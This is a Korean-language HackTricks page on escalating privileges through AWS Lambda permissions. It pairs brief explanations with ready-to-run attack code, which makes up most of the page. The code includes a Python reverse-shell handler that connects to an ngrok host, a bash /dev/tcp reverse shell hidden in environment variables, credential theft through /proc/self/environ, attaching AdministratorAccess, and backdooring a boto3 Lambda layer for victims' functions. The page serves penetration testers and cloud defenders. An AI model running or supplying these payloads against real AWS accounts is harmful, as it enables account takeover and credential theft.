AWS - Lambda Privesc

Support HackTricks

lambda

lambda에 대한 더 많은 정보는 다음에서 확인하세요:

AWS - Lambda Enum

iam:PassRole, lambda:CreateFunction, (lambda:InvokeFunction | lambda:InvokeFunctionUrl)

iam:PassRole, lambda:CreateFunction, 및 lambda:InvokeFunction 권한이 있는 사용자는 권한을 상승시킬 수 있습니다. 그들은 새로운 Lambda 함수를 생성하고 기존 IAM 역할을 할당하여, 해당 역할과 관련된 권한을 함수에 부여할 수 있습니다. 사용자는 이 Lambda 함수에 코드를 작성하고 업로드할 수 있습니다 (예: rev shell). 함수가 설정되면 사용자는 AWS API를 통해 Lambda 함수를 호출하여 실행을 트리거할 수 있습니다. 이 접근 방식은 사용자가 Lambda 함수를 통해 간접적으로 작업을 수행할 수 있게 하여, 해당 함수와 연결된 IAM 역할에 부여된 접근 수준으로 작업을 수행할 수 있게 합니다.\

공격자는 이를 악용하여 rev shell을 얻고 토큰을 훔칠 수 있습니다:

rev.py
import socket,subprocess,os,time
def lambda_handler(event, context):
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('4.tcp.ngrok.io',14305))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/sh','-i'])
time.sleep(900)
return 0
# Zip the rev shell
zip "rev.zip" "rev.py"

# Create the function
aws lambda create-function --function-name my_function \
--runtime python3.9 --role <arn_of_lambda_role> \
--handler rev.lambda_handler --zip-file fileb://rev.zip

# Invoke the function
aws lambda invoke --function-name my_function output.txt
## If you have the lambda:InvokeFunctionUrl permission you need to expose the lambda inan URL and execute it via the URL

# List roles
aws iam list-attached-user-policies --user-name <user-name>

당신은 또한 람다 역할 권한을 남용할 수 있습니다. 람다 역할에 충분한 권한이 있다면, 이를 사용하여 관리자 권한을 부여할 수 있습니다:

import boto3
def lambda_handler(event, context):
client = boto3.client('iam')
response = client.attach_user_policy(
UserName='my_username',
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return response

람다의 역할 자격 증명을 외부 연결 없이 유출하는 것도 가능합니다. 이는 내부 작업에 사용되는 네트워크 격리 람다에 유용할 것입니다. 역방향 셸을 필터링하는 알 수 없는 보안 그룹이 있는 경우, 이 코드는 람다의 출력으로 자격 증명을 직접 유출할 수 있게 해줍니다.

def handler(event, context):
sessiontoken = open('/proc/self/environ', "r").read()
return {
'statusCode': 200,
'session': str(sessiontoken)
}
aws lambda invoke --function-name <lambda_name> output.txt
cat output.txt

잠재적 영향: 지정된 임의의 람다 서비스 역할로 직접적인 권한 상승.

흥미롭게 보일 수 있지만 **lambda:InvokeAsync**는 단독으로 **aws lambda invoke-async**를 실행할 수 없음을 유의하세요. lambda:InvokeFunction도 필요합니다.

iam:PassRole, lambda:CreateFunction, lambda:AddPermission

이전 시나리오와 마찬가지로, lambda:AddPermission 권한이 있다면 lambda:InvokeFunction 권한을 부여할 수 있습니다.

# Check the previous exploit and use the following line to grant you the invoke permissions
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"

잠재적 영향: 지정된 임의의 람다 서비스 역할로 직접 권한 상승.

iam:PassRole, lambda:CreateFunction, lambda:CreateEventSourceMapping

iam:PassRole, lambda:CreateFunction, 및 lambda:CreateEventSourceMapping 권한이 있는 사용자(그리고 잠재적으로 dynamodb:PutItemdynamodb:CreateTable)는 lambda:InvokeFunction 없이도 간접적으로 권한을 상승시킬 수 있습니다. 그들은 악성 코드를 포함한 Lambda 함수를 생성하고 기존 IAM 역할을 할당할 수 있습니다.

사용자는 Lambda를 직접 호출하는 대신, 기존 DynamoDB 테이블을 설정하거나 활용하여 이벤트 소스 매핑을 통해 Lambda와 연결합니다. 이 설정은 테이블에 새 항목이 추가될 때 Lambda 함수가 자동으로 트리거되도록 보장하며, 이는 사용자의 행동이나 다른 프로세스에 의해 이루어져 Lambda 함수를 간접적으로 호출하고 전달된 IAM 역할의 권한으로 코드를 실행합니다.

aws lambda create-function --function-name my_function \
--runtime python3.8 --role <arn_of_lambda_role> \
--handler lambda_function.lambda_handler \
--zip-file fileb://rev.zip

만약 DynamoDB가 AWS 환경에서 이미 활성화되어 있다면, 사용자는 Lambda 함수에 대한 이벤트 소스 매핑을 설정하기만 하면 됩니다. 그러나 DynamoDB가 사용되지 않는 경우, 사용자는 스트리밍이 활성화된 새 테이블을 생성해야 합니다:

aws dynamodb create-table --table-name my_table \
--attribute-definitions AttributeName=Test,AttributeType=S \
--key-schema AttributeName=Test,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES

이제 이벤트 소스 매핑을 생성하여 Lambda 함수를 DynamoDB 테이블에 연결할 수 있습니다:

aws lambda create-event-source-mapping --function-name my_function \
--event-source-arn <arn_of_dynamodb_table_stream> \
--enabled --starting-position LATEST

DynamoDB 스트림에 연결된 Lambda 함수와 함께 공격자는 DynamoDB 스트림을 활성화하여 Lambda를 간접적으로 트리거할 수 있습니다. 이는 DynamoDB 테이블에 항목을 삽입함으로써 수행할 수 있습니다:

aws dynamodb put-item --table-name my_table \
--item Test={S="Random string"}

잠재적 영향: 지정된 lambda 서비스 역할로 직접적인 권한 상승.

lambda:AddPermission

이 권한을 가진 공격자는 자신(또는 다른 사람)에게 모든 권한을 부여할 수 있습니다 (이는 리소스에 대한 접근을 부여하기 위해 리소스 기반 정책을 생성합니다):

# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>

# Invoke the function
aws lambda invoke --function-name <func_name> /tmp/outout

잠재적 영향: 코드를 수정하고 실행할 수 있는 권한을 부여하여 lambda 서비스 역할로 직접적인 권한 상승이 발생합니다.

lambda:AddLayerVersionPermission

이 권한을 가진 공격자는 자신(또는 다른 사람)에게 lambda:GetLayerVersion 권한을 부여할 수 있습니다. 그는 레이어에 접근하여 취약점이나 민감한 정보를 검색할 수 있습니다.

# Give everyone the permission lambda:GetLayerVersion
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion

잠재적 영향: 민감한 정보에 대한 잠재적 접근.

lambda:UpdateFunctionCode

lambda:UpdateFunctionCode 권한을 가진 사용자는 IAM 역할에 연결된 기존 Lambda 함수의 코드를 수정할 수 있는 잠재력을 가지고 있습니다. 공격자는 IAM 자격 증명을 유출하기 위해 lambda의 코드를 수정할 수 있습니다.

공격자가 함수를 직접 호출할 수 있는 능력이 없더라도, Lambda 함수가 이미 존재하고 작동 중이라면, 기존 워크플로우나 이벤트를 통해 트리거될 가능성이 높아 수정된 코드의 실행을 간접적으로 촉진할 수 있습니다.

# The zip should contain the lambda code (trick: Download the current one and add your code there)
aws lambda update-function-code --function-name target_function \
--zip-file fileb:///my/lambda/code/zipped.zip

# If you have invoke permissions:
aws lambda invoke --function-name my_function output.txt

# If not check if it's exposed in any URL or via an API gateway you could access

잠재적 영향: 사용된 lambda 서비스 역할에 대한 직접적인 권한 상승.

lambda:UpdateFunctionConfiguration

env 변수를 통한 RCE

이 권한으로 환경 변수를 추가하여 Lambda가 임의의 코드를 실행하도록 할 수 있습니다. 예를 들어, 파이썬에서는 환경 변수 PYTHONWARNINGBROWSER를 악용하여 파이썬 프로세스가 임의의 명령을 실행하도록 할 수 있습니다:

aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"

다른 스크립팅 언어의 경우 사용할 수 있는 다른 환경 변수가 있습니다. 자세한 내용은 다음의 스크립팅 언어 하위 섹션을 확인하세요:

Lambda Layers를 통한 RCE

Lambda Layers코드를 람다 함수에 포함할 수 있게 해주지만 별도로 저장하므로 함수 코드는 작게 유지할 수 있고 여러 함수가 코드를 공유할 수 있습니다.

람다 내부에서 다음과 같은 함수를 사용하여 파이썬 코드가 로드되는 경로를 확인할 수 있습니다:

import json
import sys

def lambda_handler(event, context):
print(json.dumps(sys.path, indent=2))

이곳들은 다음과 같습니다:

  1. /var/task

  2. /opt/python/lib/python3.7/site-packages

  3. /opt/python

  4. /var/runtime

  5. /var/lang/lib/python37.zip

  6. /var/lang/lib/python3.7

  7. /var/lang/lib/python3.7/lib-dynload

  8. /var/lang/lib/python3.7/site-packages

  9. /opt/python/lib/python3.7/site-packages

  10. /opt/python

예를 들어, 라이브러리 boto3는 /var/runtime/boto3 (4번째 위치)에서 로드됩니다.

Exploitation

lambda:UpdateFunctionConfiguration 권한을 남용하여 새 레이어를 추가하는 것이 가능합니다. 임의의 코드를 실행하려면 이 레이어에 람다가 가져올 라이브러리가 포함되어야 합니다. 람다의 코드를 읽을 수 있다면 이를 쉽게 찾을 수 있으며, 람다가 이미 레이어를 사용하고 있을 가능성도 있으므로 레이어를 다운로드하고 거기에 코드를 추가할 수 있습니다.

예를 들어, 람다가 라이브러리 boto3를 사용하고 있다고 가정해 보겠습니다. 이는 라이브러리의 최신 버전으로 로컬 레이어를 생성합니다:

pip3 install -t ./lambda_layer boto3

You can open ./lambda_layer/boto3/__init__.py and 전역 코드에 백도어 추가 (예: 자격 증명을 유출하거나 리버스 셸을 얻는 함수).

그런 다음, ./lambda_layer 디렉토리를 압축하고 새 lambda 레이어를 업로드합니다. (자신의 계정에 또는 피해자의 계정에, 하지만 이 경우 권한이 없을 수 있습니다). python 폴더를 생성하고 라이브러리를 그곳에 넣어 /opt/python/boto3를 덮어써야 합니다. 또한, 레이어는 lambda에서 사용되는 파이썬 버전과 호환되어야 하며, 계정에 업로드할 경우 같은 지역에 있어야 합니다:

aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"

이제 업로드된 람다 레이어를 모든 계정에서 접근 가능하게 만드세요:

aws lambda add-layer-version-permission --layer-name boto3 \
--version-number 1 --statement-id public \
--action lambda:GetLayerVersion --principal *

그리고 피해자의 람다 함수에 람다 레이어를 연결합니다:

aws lambda update-function-configuration \
--function-name <func-name> \
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
--timeout 300 #5min for rev shells

다음 단계는 함수를 호출할 수 있다면 직접 호출하거나, 일반적인 방법으로 호출될 때까지 기다리는 것입니다. 후자가 더 안전한 방법입니다.

이 취약점을 이용하는 더 은밀한 방법은 다음에서 찾을 수 있습니다:

AWS - Lambda Layers Persistence

잠재적 영향: 사용된 lambda 서비스 역할로의 직접적인 권한 상승.

iam:PassRole, lambda:CreateFunction, lambda:CreateFunctionUrlConfig, lambda:InvokeFunctionUrl

이 권한으로 함수를 생성하고 URL을 호출하여 실행할 수 있을지도 모릅니다... 하지만 제가 테스트할 방법을 찾지 못했으니, 찾으시면 알려주세요!

Lambda MitM

일부 lambda는 사용자로부터 매개변수로 민감한 정보를 수신할 것입니다. 그 중 하나에서 RCE를 얻으면, 다른 사용자가 보내는 정보를 유출할 수 있습니다. 확인해 보세요:

AWS - Steal Lambda Requests

References

HackTricks 지원하기

Last updated